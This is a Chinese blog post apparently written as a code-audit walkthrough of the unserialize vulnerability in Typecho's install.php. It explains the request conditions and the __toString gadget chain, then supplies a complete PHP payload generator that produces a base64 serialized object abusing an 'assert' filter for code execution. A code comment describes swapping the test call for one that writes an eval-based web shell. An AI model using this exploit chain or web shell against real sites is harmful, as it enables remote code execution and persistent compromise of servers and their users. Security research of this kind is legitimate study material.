记一次代码审计之反序列化漏洞

2024-08-29 18:21:06 浏览数 (1)

关于Typecho代码审计

审计危险函数:unserialize(

这个文件是install.php 必定是安装文件, 安装之后就不会再安装,所以一定要去确定是否可以运行到对应的审计点。

解析

代码语言:javascript复制
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
从 __typecho_config 的 Cookie 中获取一个经过 Base64 编码和序列化处理的字符串,然后将其解码并还原为原始的 PHP 数据结构

本地搭建

直接访问发现空白,必定前面条件没有满足,那必须让条件满足,且必须能够运行到这个地方。

这个地方必须传递一个referer:http://当前网站的网址

解析:

代码语言:javascript复制
public static function get($key, $default = NULL)
    {
        $key = self::$_prefix . $key;#将键名加上一个前缀
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);#判断是否有$_COOKIE[$key]
        return is_array($value) ? $default : $value; #返回的是数组,则返回默认值NULL,否则返回$value
    }
总结:没有任何的校验

直接将__typecho_config放在cookie中即可:

代码语言:javascript复制
审计到这里需要满足三个条件:
1、请求头中host和referer中host保持一致
2、必须传递finish参数
3、__typecho_config要在cookie里面,或者通过post传参进来

继续审计

注意:$adapterName必须是一个对象,将会调用___toString()方法,因为拼接也能调用__toString()方法

准备一个对象,且存在__toString()这个方法的类

Feed这个类,存在一个大概率可以利用的__toString(),接下来审计这个这个方法:

全局搜索_get(

发现Request类有可利用的空间,那么就继续审计里面的方法:

准备payload:

代码语言:javascript复制
<?php

class Typecho_Feed  
{

    /** 定义RSS 1.0类型 */
    const RSS1 = 'RSS 1.0';
    /** 定义RSS 2.0类型 */
    const RSS2 = 'RSS 2.0';

    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';

    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';

    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';

    /** 定义行结束符 */
    const EOL = "n";
    /**
     * feed状态
     *
     * @access private
     * @var string
     */
    private $_type ;


    /**
     * 字符集编码
     *
     * @access private
     * @var string
     */
    private $_charset;

    /**
     * 语言状态
     *
     * @access private
     * @var string
     */
    private $_lang;

    /**
     * 聚合地址
     *
     * @access private
     * @var string
     */
    private $_feedUrl;

    /**
     * 基本地址
     *
     * @access private
     * @var unknown
     */
    private $_baseUrl;

    /**
     * 聚合标题
     *
     * @access private
     * @var string
     */
    private $_title;

    /**
     * 聚合副标题
     *
     * @access private
     * @var string
     */
    private $_subTitle;

    /**
     * 版本信息
     *
     * @access private
     * @var string
     */
    private $_version;

    /**
     * 所有的items
     *
     * @access private
     * @var array
     */
    private $_items = array();

    /**
     * 创建Feed对象
     * @access public
     * @return void
     */
    public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')
    {
        $this->_version = $version;
        $this->_type = $type;
        $this->_charset = $charset;
        $this->_lang = $lang;
        $this->_items[0] = array(
            'title' => '小常常',
            'link' => 123,
            'date' => 100,
            'author' => new Typecho_Request()
        );
    }

}

class Typecho_Request
{

    /**
     * 内部参数
     *
     * @access private
     * @var array
     */
    private $_params = array(
        'screenName' => 'die(phpinfo());' #phpinfo()可以改为file_put_contents("shell.php","<?php
eval($_REQUEST[6]);?>"),即可写入shell,利用漏扫工具进行连接。
    );

    /**
     * 当前过滤器
     *
     * @access private
     * @var array
     */
    private $_filter = array(
        'assert'
    );
}
$config = array(
    'adapter' => new Typecho_Feed(1),
    'prefix' => 'typecho_'
);
// 序列化
$data = serialize($config);
// 编码
$data = base64_encode($data);

echo $data;

验证

获得payload

0 人点赞